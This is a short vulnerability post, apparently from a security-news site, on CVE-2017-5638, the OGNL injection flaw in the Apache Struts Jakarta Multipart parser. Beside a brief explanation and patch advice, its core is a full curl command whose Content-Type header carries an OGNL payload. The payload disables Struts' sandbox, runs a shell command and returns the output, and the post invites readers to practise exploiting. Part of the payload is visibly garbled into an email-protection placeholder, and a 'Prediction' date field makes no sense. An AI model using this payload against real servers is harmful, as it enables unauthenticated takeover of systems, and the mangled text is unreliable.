Listen to this Post
How the mentioned CVE works:
The CVE-2017-5638 vulnerability resides in the Jakarta Multipart parser of Apache Struts. The flaw is triggered when a malicious `Content-Type` HTTP header is sent to a Struts-based application. The parser incorrectly processes the header’s value, attempting to evaluate it as an Object-Graph Navigation Language (OGNL) expression. An attacker can craft a `Content-Type` header containing a malicious OGNL expression. Since OGNL expressions can execute arbitrary system commands with the application’s privileges, this allows for unauthenticated Remote Code Execution on the underlying server. The vulnerability is exploitable due to a lack of proper validation and sanitization of the user-supplied header value before it is interpreted by the parser.
Platform: Apache Struts
Version: 2.3.5 – 2.3.31, 2.5 – 2.5.10
Vulnerability : Remote Code Execution
Severity: Critical
date: 2017-03-07
Prediction: 2017-03-10
What Undercode Say:
`curl -H “Content-Type: %{(_=’multipart/form-data’).([email protected]@DEFAULT_MEMBER_ACCESS).(_memberAccess?(_memberAccess=dm):((container=context[‘com.opensymphony.xwork2.ActionContext.container’]).(ognlUtil=container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(ognlUtil.getExcludedPackageNames().clear()).(ognlUtil.getExcludedClasses().clear()).(context.setMemberAccess(dm)))).(cmd=’whoami’).(iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(cmds=(iswin?{‘cmd.exe’,’/c’,cmd}:{‘/bin/bash’,’-c’,cmd})).(p=new java.lang.ProcessBuilder(cmds)).(p.redirectErrorStream(true)).(process=p.start()).(ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(process.getInputStream(),ros)).(ros.flush())}” http://target.com/struts2-endpoint`
How Exploit:
Craft malicious Content-Type header. Send HTTP request. OGNL expression executes. Gains shell access.
Protection from this CVE:
Upgrade to Struts 2.3.32 or 2.5.10.1. Apply vendor patch. Implement WAF rules.
Impact:
Complete system compromise. Unauthenticated remote code execution. Data breach.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
